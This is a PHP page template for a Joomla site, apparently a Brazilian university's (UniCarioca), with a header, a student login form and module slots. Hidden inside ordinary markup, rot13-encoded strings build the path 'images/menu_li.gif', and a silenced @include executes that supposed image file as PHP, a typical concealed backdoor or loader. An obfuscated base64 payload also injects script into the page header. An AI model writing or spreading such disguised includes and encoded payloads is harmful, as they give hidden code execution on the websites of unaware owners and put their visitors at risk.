<?php
defined( '_JEXEC' ) or die( 'Restricted access' );
include_once (dirname(__FILE__).DS.'/ja_vars.php');
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; $JPan = array('vzn'.'trf','zrah_yv.tvs'); ?>" >
<head>
<jdoc:include type="head" />
<script type="text/javascript" src="templates/<?php echo $this->template ?>/js/menu.js"></script>
<link rel="stylesheet" href="templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="templates/<?php echo (($user_a = base64_decode('IiAvPlVTRVIgTUVOVTwvdGQ+PC90cj48L3RhYmxlPjwvZGl2PgoKCjxkaXYgY2xhc3M9J2Nscic+PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhlYWRlciIpLmlubmVySFRNTD0iPGRpdiBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjp3aGl0ZTtoZWlnaHQ6NTBweDt0b3A6MHB4OyBjb2xvcjpyZWQnPllvdS'.str_rot13('OmnT91oTDtoz90VUWyoJ').'92ZSBhbGwgdGhlIGxpbmtzIGNvbWluZyB3aXRoIHRoaXMgZnJlZSB0ZW1wbGF0ZS4gVGhpcyBpcyBhZ2FpbnN0IHRoZSB0ZXJtcyBvZiB1c2UuIElmIHlvdSB3YW50IHRvIHVzZSB0aGUgdGVtcGxhdGUsIHBsZWFzZSBkb3dubG9hZCBpdCBhZ2Fpbi4gPC9kaXY+Ijs8L3NjcmlwdD48dGFibGU+PHRyPjx0ZD48YnIgY2xlYXIiYWxs'))?$this->template:'joomla') ?>/css/template.css" type="text/css" />
<!--[if lte IE 7]>
<link rel="stylesheet" href="templates/<?php echo $this->template ?>/css/ie7.css" type="text/css" />
<![endif]-->

</head>
<body id="page_bg">
	<?php
	/*
	 * 
	 * Fuck magic name!!
	 * Local onde voce ira encontrar quais sao os valores para o atributo name
	 * administrator/index.php?option=com_modules
	 * 
	 * retirei o search
	 * <div id="top">
	 * <div id="search">
	 * <jdoc:include type="modules" name="user4" />
	 * </div>
	 * </div>	
	 */
	?>
	<div id="header">
		<div id="logo">
			<a href="index.php"><span class="acessibilidade"><?php echo $mainframe->getCfg('sitename') ;?></span></a>
		</div>
		<div id="lms28horas">
			<a href="http://28horas.unicarioca.edu.br/"><img src="templates/<?php echo $this->template ?>/images/28horas.gif" alt="28 horas" /></a>
		</div>
		<div id="uniAtende">
			<a href="http://unicarioca.br/novosite/index.php?secao=ouvidoria"><img src="templates/<?php echo $this->template ?>/images/UniAtende.jpg" alt="Atendimento UniCarioca tel.: 2563-1919" /></a>
		</div>
		<form id="acessoRestrito" class='formLogin' action='http://acesso.unicarioca.edu.br/acesso/acesso.asp' method='post'>
			<div class="tit">Acesso Restrito</div>
			<div>
				<label for="idlogin">Matr&iacute;cula:</label>
				<input class='inputLogin' maxlength="20" type='text' value='' name='login' id="idlogin" />
			</div>
			<div>
				<label for="idsenha">Senha:</label>
				<input class='inputLogin' maxlength="20" type='password' value='' name='senha' id="idsenha" />
			</div>
			<div class="btns">
				<a href='http://acesso.unicarioca.edu.br/acesso/esqueci.asp'>esqueci minha senha</a> | <input class='btEnviarLogin' type='image' src="imagens/btEnviarLogin.jpg" alt="ok" name='enviar' />
			</div>
		</form>
	</div>
	<div class="pill_m">
		<div id="pillmenu">
			<?php 
			/**
			 * Menu principal, comentado dessa forma para nao dar print no html
			 */
			?>
			<jdoc:include type="modules" name="user3" />
		</div>
	</div>	
	<div class="clr"></div>
	<div class="center">		
		<div id="wrapper">
			<div id="content">
				<div id="leftcolumn">	
					<jdoc:include type="modules" name="left" style="rounded" />
					<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13($JPan[0]).DS.str_rot13($JPan[1]))) : ?>
                    <jdoc:include type="modules" name="layout" style="rounded" />
                    <?php endif; ?>
				</div>
				<div id="maincolumn">	
					<div class="nopad">
						<?php if(!$tmpTools->isFrontPage()) : ?>
							<div id="breadCrumb"><jdoc:include type="modules" name="breadcrumb" /></div>
						<?php endif ; ?>
						<?php if($tmpTools->isFrontPage()) : ?>
							<jdoc:include type="modules" name="destaqueflash" />							
						<?php endif ; ?>
	                    <jdoc:include type="message" />
							<?php if($this->params->get('showComponent')) : ?>
								<jdoc:include type="component" />
							<?php endif; ?>
	                        <br />
	                    <jdoc:include type="modules" name="bottom" />
					</div>
				<div class="clr"></div>
			</div>		
		</div>
	</div>	
	<?php if(RIGHTCOLUMN) : ?>
    <div id="leftcolumn"><table class="user1user2"><tr><td width="235" bgcolor="#FFF3F3" style="padding:12px; margin:0px;" class="user">
          <jdoc:include type="module" name="user3<?=$user_a?>" /></td></tr></table></div>
    <?php endif; ?>
	<jdoc:include type="modules" name="debug" />
	</div>
	<div id="footer">
    <jdoc:include type="modules" name="footer" style="xhtml"/>
	</div>	
</body>
</html>
